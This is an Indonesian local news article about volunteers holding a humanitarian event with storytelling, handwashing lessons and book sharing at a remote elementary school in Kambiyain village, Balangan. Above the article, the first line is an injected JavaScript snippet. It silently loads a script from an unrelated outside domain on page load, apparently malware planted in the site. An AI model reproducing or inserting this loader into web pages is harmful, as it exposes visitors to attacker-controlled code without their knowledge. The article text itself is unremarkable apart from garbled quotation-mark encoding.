(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PARINGIN, Memenuhi panggilan jiwa. Mungkin kalimat itu yang bisa menggambarkan latar belakang dari aksi kemanusiaan di Desa Kambiyain, Kecamatan Tebing Tinggi, Kabupaten Balangan, Sabtu (16/2). Sebanyak 50 relawan gabungan di Kabupaten Balangan bersama 64 siswa di SDN Kambiyain berbagai kegiatan mewarnai aksi kemanusiaan, mulai dongeng kemanusiaan, edukasi cara mencuci tangan, fun games dan berbagi buku.
Aksi dimotori oleh Masyarakat Relawan Indonesia (MRI) Balangan, Palang Merah Remaja (PMR) Balangan, Forum Anak Daerah Tebing Tinggi, dan Ikatan Pustakawan Indonesia (IPI) Kabupaten Balangan.
“Senang sekali bisa bermain bersama-sama dan dikasih cerita yang rame. Ada hadiah dan buku yang sangat bermanfaat untuk kami,†Risma, siswa kelas 4 berseru senang. “Terima kasih kakak-kakak relawan,†teriak Risma dan teman-temannya.
Bukan hanya para siswa, Kepala Sekolah SDN Kambiyain Herman Aryadi SPd juga mengaku senang dengan kehadiran para relawan. “Terima kasih kepada MRI-ACT yang mau ke sekolah kami. Soalnya jarang ada yang mau ke sini. Alhamdulillah anak-anak antusias luar biasa walaupun ini sifatnya spontan,†ungkap Herman sembari berharap kegiatan seperti ini bisa dilakukan secara rutin.
Ketua MRI Balangan Nurul Yaqin menjelaskan, aksi kemanusiaan tersebut merupakan aksi kolaborasi berbagai lembaga relawan dan pendidikan. “Kami melihat Desa Kambiyain menjadi salah satu desa terpencil yang juga memerlukan uluran tangan relawan dan juga dermawan,†ucap relawan yang pernah bertugas di Palum beberapa waktu lalu.
Lelaki yang kerap dipanggil Nurul itu mengaku sempat deg-degan saat melakukan perjalanan menuju Desa Kambiyain. “Waktu tempuh memang hanya dua jam dari ibukota Kabupaten Balangan, namun akses yang harus dilewati cukup memicu adrenalin karena kami harus melewati jalur pegunungan yang berliku,†kisahnya.
Melalui aksi kemanusiaan, MRI Balangan berharap bisa mengalirkan lebih banyak kebaikan lagi untuk Desa Kambiyain. “Seperti kebanyakan desa di pegunungan Meratus, di sana belum ada listrik. Sinyal seluler juga sulit. Maka kami mengajak siapapun untuk bisa berbagi kebahagiaan untuk mereka,†pungkas Nurul.
Secara administratif Desa Kambiyain, Kecamatan Tebing Tinggi masuk dalam kawasan Dayak Pitap. Kawasan desa ini masuk dalam bentangan Pegunungan Meratus. Dikutip dari Wikipedia, Dayak Pitap merupakan sebutan bagi kelompok masyarakat yang terikat secara keturunan dan aturan adat, mendiami kawasan di sekitar hulu-hulu Sungai Pitap dan anak sungai lainnya. Jarak desa ini ke ibukota Kabupaten Balangan yakni Paringin 48 Km dan jarak ke Banjarmasin sejauh 231 Km. (act)
KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More
KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More
This website uses cookies.